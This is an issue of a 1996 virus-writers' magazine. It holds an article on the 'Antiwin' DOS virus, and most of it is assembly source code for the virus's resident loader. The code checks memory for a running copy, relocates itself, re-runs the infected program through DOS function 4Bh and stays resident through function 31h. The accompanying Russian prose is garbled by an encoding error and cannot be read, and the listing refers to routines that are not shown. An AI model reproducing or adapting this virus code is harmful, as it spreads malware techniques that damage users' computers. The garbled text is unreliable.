
                        
       Virus Magazine   Box 10, Kiev 148, Ukraine       IV   1996
            
                             
                                            
                                 
           
          (C) Copyright, 1994-96, by STEALTH group WorldWide, unLtd.

=============================================================================

    ͻ
       ,       
          by MrStrange     
    ͼ

        ⨯    -  ଥ  
.   ⨯  ⠫  殮 ᥩ ਨ
祫⢠  -  ᪮쪮      ⮬    ।
   ॢ    㣠 , ᫨  
᮪    ,   ᥣ         ⠫   "樢묨",
ࠧ묨,    㬥  ।  ,  
    .    ५  ᬥ⭮  ⢮ 몮,
५,  䨫䨩,  .  稫 , 㦤 
뢠. ਤ㬠 ન, , .  
 ⢮  ᢮ ?  ᫥ ⮣,    ⡨
  ࠪ  "᮪  "      
    ᨭ  稪?    ⨭ 
⢠?    -   㧠 㡨⢠ -  
 ⮪     魮, 㥬
Homo  Sapiens.  ਤ    ६,     㧭, 㤠 
﫨  㤠  ?  祬 ࠧ稥 ࠧ  ࠤ樨?

       ⥮  樨  짠  ࢨ   ᥬ
袠    -  孥,    ᫥ ਧ  樮
.  ୮  ࠧ⨥  ,    ࠢ ,
᫮,  ⭮.         ⢠?
  ᪠,  ࠫ 襣 ⢠ , ᮢ襭,
祬  ࠫ  ॢ?   ࠭,  ॢ   樨
᪮ ⨥ ।⠢﫮    ,
  ⢠, ᥣ  ⥠   ᥡ ஫ 砣
...      뫨   ॢ ࠢ?  - 祫 
,  祫  ᪥ -   ⥫ ?  , 
  ࠦ  ,  ᤥ ࠦ ᢮
 -  ⥫⢮    ᮡ?

      祬   ?   ⮬,    ਤ㬠  -
᢮.      祫,     訡 ( 
⮪).  㦭  ᨬ쭮    ᮡ⢥ ,
ਡ  㦮   砥 ࠩ 㦤.   㣨
,   ᫮.   뢠,   ⥡ 
 - ⢮ ᮧ.

           ࠦ           .    
ணࠬ஢ ⮦.

      ਢ  窮 ᠭ ࠣ  
Antiwin,  ,    뢠  DOS    墠 ᥡ
窠   ⨢   ,  ।⠥    ᢮
襣  㣠   ନ - 䠩,  ஬  . Antiwin
(    ⮦ ,   直 㣮  !)
          ᢮  ᫠஢,   ⮬
࠭, ,  ,  ⭮, ० ᥣ (?). 
⠥  ࠦ  (묨饬  㦥)  DOS'  ᠬ⥫쭮
᪠    ᥡ ନ -    㧭   譮
⢮ !   ,   ...

    ⠪,     ࠧ  ५   ᬮ 
祪 ,  ன  ⠫  .  ⮣,
⮡    ⥭ ࠣ,  ᫮ ࠧ  5
⥩.

    ᭮ : exe-䠩 ࠦ ⠭⭮.   ᪥
     ࠦ 䠩      ஢-
,       . ᫨ ,  ⠭⭮
।  ࠢ  ᢮ ନ,  -  ᥡ 
砫 뤥  , ࠨ ⭥  ᪠
䠩  ⥫     㭪樨 DOS 4bh, 㭪 0, ⥬
।   ࠢ   DOS   १   㭪  31h  -  
१⮬.



; 祪  Antiwin, (c) by MrStrange
assume cs:_virus
vstart:
;                                                    Ŀ
;Ĵ 1
;                                                    

; ஢ਬ,     -.    
; 楤 ᢮.
        call    isThereABrotherInMemory
        or      ax,ax
        jz      not_in_memory   ;  ᮡi  'i 譥 誠


;---------------------------------------------  , । ࠢ
;--------------------------------------------- ணࠬ,  ७ ⥫
;--------------------------------------------- ன  ⠥
        mov     bx,ds
        add     bx,10h
db      @mov_cx
KeepSS  dw      0h
        add     cx,bx
        cli
        mov     ss,cx
        db      @mov_sp
KeepSP  dw      0
        sti

db      @mov_cx
KeepCS  dw      0
        add     cx,bx
        push    cx
db      @push
KeepIP  dw      0
        retf                           ; Hi, program!

;Ŀ
;No brother in memory. Let's go and f..k this computer! 
;
;                                                    Ŀ
;Ĵ 2
;                                                    

not_in_memory:
        mov     ax,ds
        add     ax,10h
        mov     es,ax           ; es = seg PSP + 10h
        xor     di,di           ; di = 0
        mov     cx,(vlen+3)/2   ; vlen-ࠧ   , cx- ᫮
        cld
        push    cs
        pop     ds
                          ; ds:[si] -> es:[di]
                          ; ds = cs, si = virstart, es = PSP+10h, di = 0
        rep     movsw     ; ᥫ塞

        push    es
        push    offset continue
        retf                    ;   믮 㦥 
                                ;  ணࠬ
continue:

;   ன ॣ஢  १ 뤥  
;                                                    Ŀ
;Ĵ 3
;                                                    
ASSUME ds:_virus
        push    cs
        pop     ds

        mov     ax,cs
        sub     ax,10h
        mov     es,ax           ; es - ᥣ PSP
        mov     bx,offset vend  ; vend - ⪠   
        shr     bx,4
        add     bx,11h          ; bx -      ⮬ PSP
                                ; ( ࠣ)
        mov     ah,4ah          ; SetBlock - १   
        int     21h

;                                                    Ŀ
;Ĵ 4
;                                                    
; 騩 蠣 - 室 ᮢ  ⥬,   
        mov     seg1,es                 ; ६  EPB (. )
        mov     seg2,es
        mov     seg0,es
        mov     ds,es:[2ch]             ;  PSP  ᬥ饭 2ch ࠭
        mov     bx,0ffffh               ; ᥣ ப ।,
                                        ; ,  ⭮ ࠭
                                        ;   襩 ணଠ
                                        ; (砫 ࠭ ६
                                        ;  ।,  
                                        ;  ᫮ 0. ᫥  ய-
                                        ;     ᫮ - 
                                        ;    
                                        ;  ப ASCIIZ -  ).

next_word:
        inc     bx
        cmp     [bx],word ptr 0
        jne     next_word               ; 諨 ᫮ 0

        add     bx,4            ; ய⨫ 0    ᫮
        mov     dx,bx           ; Now ds:dx = filename
;  㦭  ss  sp (᫥ ᯮ 㭪樨 DOS 4bh 
;  ॣ,  ss  sp.  ⠭     ࠢ ᯮ-
;  ⥪).
        mov     cs:tempss,ss
        mov     cs:tempsp,sp

        push    cs
        pop     es
        mov     bx,offset EPB
        mov     ax,4b00h
        int     21h             ; ⨫ ணࠬ
; ࠬ 㭪樨 4bh:
; DS:DX -  䠩
; ES:BX -  EXEC Parameter Table (EPB). ଠ EPB ᫥騩:

;Offset Size Contents
;  
;            Ŀ
; +0      2          ᥣ 㦥 (0000=। ᢮)
;            Ŀ
; +2      4  offset  segment   ப (㤥 饭
;            Ĵ   PSP ᪠ ணࠬ  ᬥ饭 80h
; +6      4  offset  segment  FCB (PSP + 5cH)
;            Ĵ
; +0ah    4  offset  segment  FCB (PSP + 6cH)
;            
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

;                                                    Ŀ
;Ĵ 5
;                                                    
; , "ணࠬ-⥫" 믮. ⠭ ⥪  ⠥
;   (訢   樠쭮   㭪樨 31h).
        cli
        mov     ss,cs:tempss
        mov     sp,cs:tempsp
        sti

        mov     ax,cs
        sub     ax,10h
        mov     ds,ax
        mov     es,ds:[2ch]
        mov     ah,49h
        int     21h     ; ᢮ ப । - 頩 ᥡ ...

        mov     dx,offset vend
        shr     dx,4
        add     dx,11h
        mov     ah,31h
        int     21h     ;  ᨤ,  廊!



;.................................................................
; EPB - ᬮ ᠭ 
EPB     label   byte
        dw      0h      ;
        dw      80h     ;      ப
seg0    dw      ?       ;
        dw      5ch     ;     ࢮ FCB
seg1    dw      ?       ;
        dw      6ch     ;     ண FCB
seg3    dw      ?       ;

vend    label byte
_virus  ends


    ,          ...    ࠬ -
""  -  ⥫쭮,  "ன"  -  ।,  "⢥ન"  -
,  "ન"  (P5)  -  ⫨筮,  Apple  Macintosh -  
誥. ᥬ !